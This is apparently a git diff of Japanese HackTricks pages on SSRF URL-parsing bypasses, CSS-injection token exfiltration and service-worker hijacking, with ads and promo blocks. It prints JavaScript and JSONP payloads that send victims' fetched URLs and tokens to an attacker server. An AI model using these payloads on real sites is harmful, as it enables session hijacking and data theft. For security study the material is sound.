By using different URL formats, an attacker can confuse the SSRF protection mechanism and trick it into making requests to internal IP addresses or other restricted resources. By using these alternative URL formats, the SSRF protection may not recognize the request as targeting an internal IP address and allow it to pass through. This can lead to potential security vulnerabilities, as an attacker could use domain confusion to access internal resources that should be restricted.
異なるURL形式を使用することで、攻撃者はSSRF保護メカニズムを混乱させ、内部IPアドレスや他の制限されたリソースへのリクエストを行わせることができます。 これらの代替URL形式を使用することで、SSRF保護はリクエストが内部IPアドレスを対象としていると認識せず、通過させることができます。これにより、攻撃者は制限されるべき内部リソースにアクセスするためにドメインの混乱を利用することができ、潜在的なセキュリティの脆弱性が生じる可能性があります。
It's important to note that domain confusion may not work in all cases, as some SSRF protections may be more sophisticated and capable of detecting and blocking such bypass attempts. Therefore, it's crucial to thoroughly test the effectiveness of domain confusion in the specific context of the target application. To protect against domain confusion attacks, it is important to implement SSRF protections that go beyond simple URL format checks. This can include validating the requested URL against a whitelist of allowed domains or using more advanced techniques such as DNS rebinding protection.
ドメインの混乱がすべてのケースで機能するわけではないことに注意する必要があります。一部のSSRF保護はより洗練されており、このようなバイパス試行を検出してブロックすることができる可能性があります。したがって、対象アプリケーションの特定のコンテキストでドメインの混乱の効果を徹底的にテストすることが重要です。 ドメインの混乱攻撃に対して保護するためには、単純なURL形式のチェックを超えるSSRF保護を実装することが重要です。これには、許可されたドメインのホワイトリストに対してリクエストされたURLを検証することや、DNSリバインディング保護などのより高度な技術を使用することが含まれます。
```bash ```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http # Try replacing https by http
@ -208,7 +216,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
簡単に言えば、_バックスラッシュトリック_ は、2つの「URL」仕様間のわずかな違いを利用しています[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing)と[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)。RFC3986は、_Uniform Resource Identifiers_ の構文に関する一般的な多目的の仕様であり、WHATWG URL標準はWebおよびURLURIのサブセットに特化しています。モダンなブラウザはWHATWG URL標準を実装しています。 簡単に言えば、_バックスラッシュトリック_ は、2つの「URL」仕様間のわずかな違いを利用しています[WHATWG URL標準](https://url.spec.whatwg.org/#url-parsing)と[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)。RFC3986は、_Uniform Resource Identifiers_ の構文に関する一般的な多目的の仕様であり、WHATWG URL標準はWebおよびURLURIのサブセットに特化しています。モダンなブラウザはWHATWG URL標準を実装しています。
両方の仕様は、URI/URLを解析する方法を説明していますが、わずかな違いがあります。WHATWG仕様では、`\`という[1つの追加文字](https://url.spec.whatwg.org/#authority-state)があり、これは`/`とまったく同じように振る舞います:ホスト名と権限を終了し、URLのパスを開始します。 両方の仕様は、URI/URLを解析する方法を説明していますが、わずかな違いがあります。WHATWG仕様では、`\`という[1つの追加文字](https://url.spec.whatwg.org/#authority-state)があり、これは`/`と同様に振る舞い、ホスト名と権限を終了し、URLのパスを開始します。
![2つの仕様が同じURLを異なる方法で解析している](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg) ![2つの仕様が同じURLを異なる方法で解析している](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -216,16 +224,22 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
![](<../../.gitbook/assets/image (629).png>) ![](<../../.gitbook/assets/image (629).png>)
画像は[https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)から。 画像は[https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)から
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm\_campaign=hacktricks&utm\_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks\_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks\_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks\_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -16,6 +16,14 @@
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
{% code title="victim.html" %} {% code title="victim.html" %}
```html ```html
<!doctype html> <!doctype html>
@ -183,7 +191,7 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
/* /*
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: text/css Content-Type: text/css
日付:金、01 Apr 2022 14:35:39 GMT 日付:金曜日、2022年4月1日 14:35:39 GMT
接続:クローズ 接続:クローズ
コンテンツの長さ2149 コンテンツの長さ2149
@ -226,18 +234,24 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/ */
{% endcode %} {% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details> </details>

View file

@ -6,36 +6,44 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本情報 ## 基本情報
サービスワーカーは、ウェブページとは別に、ブラウザがバックグラウンドで実行する**スクリプト**であり、ウェブページやユーザーの操作を必要としない機能を提供することができます。([サービスワーカーとは何かの詳細はこちら](https://developers.google.com/web/fundamentals/primers/service-workers))。\ サービスワーカーは、ウェブページとは別に、ブラウザがバックグラウンドで実行する**スクリプト**であり、ウェブページやユーザーの操作を必要としない機能を提供することができます。([サービスワーカーとは何かについての詳細はこちら](https://developers.google.com/web/fundamentals/primers/service-workers))。\
そのため、サービスワーカーを悪用することで、**被害者セッション**内の**脆弱な**ウェブ**ドメイン**でそれらを**作成/変更**することができ、**攻撃者はそのドメインで被害者が読み込むすべてのページ**を**制御**することができます。 その後、サービスワーカーを悪用することができます。これは、**被害者セッション**内の**脆弱な**ウェブ**ドメイン**でそれらを**作成/変更**することにより、**攻撃者がそのドメイン**で**被害者が読み込むすべてのページ**を**制御**することができるようになります。
### 既存のサービスワーカーの確認 ### 既存のSWを確認する
**開発者ツール**の**アプリケーション**タブの**Service Workers**フィールドで確認することができます。また、[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を参照することもできます。 **開発者ツール**の**アプリケーション**タブの**Service Workers**フィールドでそれらを確認することができます。また、[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を参照することもできます。
### プッシュ通知 ### プッシュ通知
被害者が**プッシュ通知の許可**を与えていない場合、サービスワーカーは**ユーザーが再び攻撃者のページにアクセスしない限り、サーバーからの通信を受信することできません**。これにより、たとえば、攻撃者のウェブページにアクセスしたすべてのページとの会話を維持することができず、SWが見つかった場合それを受信して実行することができません。\ 被害者が**プッシュ通知の許可**を与えていない場合、サービスワーカーは**ユーザーが再び攻撃者のページにアクセスしない限り、サーバーからの通信を受信することできません**。これにより、たとえば、攻撃者のウェブページにアクセスしたすべてのページとの会話を維持することができず、SWが見つかった場合それを受信して実行することができません。\
ただし、被害者が**プッシュ通知の許可を与えると、これはリスクとなる**可能性があります ただし、被害者が**プッシュ通知の許可を与えた場合、これはリスクとなる可能性があります**
## サービスワーカーの作成による攻撃 ## サービスワーカーの作成による攻撃
この脆弱性を悪用するには、次のものを見つける必要があります。 この脆弱性を悪用するには、次のものを見つける必要があります。
* **任意のJSファイルをサーバーにアップロード**し、**アップロードされたJSファイルのサービスワーカー**を**XSSで読み込む**方法 * **任意のJSファイルをサーバーにアップロード**する方法と、アップロードされたJSファイルのサービスワーカーを**ロードするXSS**
* **脆弱なJSONPリクエスト**で**出力を操作できる任意のJSコードで**方法と、**ペイロードでJSONPを読み込む**ための**XSS**。これにより、**悪意のあるサービスワーカー**を読み込むことができます。 * **脆弱なJSONPリクエスト**で出力を**操作できる方法任意のJSコードで**と、**ペイロードでJSONPをロードするXSS**が必要です。これにより、**悪意のあるサービスワーカー**をロードすることができます。
以下の例では、`fetch`イベントをリッスンし、**取得したすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するか、**脆弱なJSONP**応答を介してロードするためのコードです)。 以下の例では、`fetch`イベントをリッスンし、**取得したURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します(これは**サーバーにアップロード**するか、**脆弱なJSONP**応答を介してロードするためのコードです)。
```javascript ```javascript
self.addEventListener('fetch', function(e) { self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) { e.respondWith(caches.match(e.request).then(function(response) {
@ -66,11 +74,11 @@ var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.requ
``` ```
**Service Workers**の悪用に特化した**C2**である[**Shadow Workers**](https://shadow-workers.github.io)は、これらの脆弱性を悪用するのに非常に役立ちます。 **Service Workers**の悪用に特化した**C2**である[**Shadow Workers**](https://shadow-workers.github.io)は、これらの脆弱性を悪用するのに非常に役立ちます。
XSSの状況では、24時間のキャッシュディレクティブ制限により、悪意のあるまたは侵害されたSWは、XSSの脆弱性の修正よりも最大24時間クライアントがオンラインである場合長く存在することが保証されます。サイトの運営者は、SWスクリプトのTTLを低く設定することで脆弱性の時間枠を短縮することができます。また、開発者には、[キルスイッチSWを作成すること](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)をお勧めします。 XSSの状況では、24時間のキャッシュディレクティブ制限により、悪意のあるまたは侵害されたSWは、XSSの脆弱性の修正よりも最大24時間クライアントがオンラインである場合生き残ることが保証されます。サイトの運営者は、SWスクリプトのTTLを低く設定することで脆弱性の時間枠を短縮することができます。また、開発者には、[キルスイッチSWを作成すること](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)をお勧めします。
## DOM Clobberingを介したSWでの`importScripts`の悪用 ## DOM Clobberingを介したSWでの`importScripts`の悪用
Service Workerから呼び出される関数**`importScripts`**は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が変更できるパラメータ**を使用して呼び出された場合、彼は自身のドメインからJSスクリプトをインポートし、XSSを取得することができます。 Service Workerから呼び出される**`importScripts`**関数は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が変更できるパラメータ**を使用して呼び出された場合、彼は自身のドメインからJSスクリプトをインポートし、XSSを取得することができます。
**これはCSPの保護を回避することさえ可能です。** **これはCSPの保護を回避することさえ可能です。**
@ -98,7 +106,7 @@ DOM Clobberingについての詳細は以下を参照してください
[dom-clobbering.md](dom-clobbering.md) [dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %} {% endcontent-ref %}
もしSWが**HTML要素内で使用しているURL/ドメイン**で**`importScripts`**を呼び出している場合、DOM Clobberingを使用してそれを変更することができます。これにより、SWが**自分自身のドメインからスクリプトを読み込む**ようにすることができます。 もしSWが**HTML要素内で使用しているURL/ドメイン**で**`importScripts`**を呼び出している場合、DOM Clobberingを使用してそれを変更することが可能です。これにより、SWが**自分自身のドメインからスクリプトを読み込むように**することができます。
これに関する例は参照リンクを確認してください。 これに関する例は参照リンクを確認してください。
@ -106,14 +114,21 @@ DOM Clobberingについての詳細は以下を参照してください
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) * [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけ、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>

View file

@ -2,18 +2,25 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 - [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください**。** - [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて修正を迅速に行いましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、テックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# 一般的な # 一般的な
@ -30,7 +37,7 @@
| write() | send() | | write() | send() |
| shutdown() | WSACleanup() | | shutdown() | WSACleanup() |
## 永続 ## 永続
| レジストリ | ファイル | サービス | | レジストリ | ファイル | サービス |
| ---------------- | ------------- | ---------------------------- | | ---------------- | ------------- | ---------------------------- |
@ -67,11 +74,11 @@
| 名前 | | | 名前 | |
| ------------------------ | -------------------------------------------------------------------------- | | ------------------------ | -------------------------------------------------------------------------- |
| VirtualAlloc | メモリの割り当て(パッカー) | | VirtualAlloc | メモリの割り当て(パッカー) |
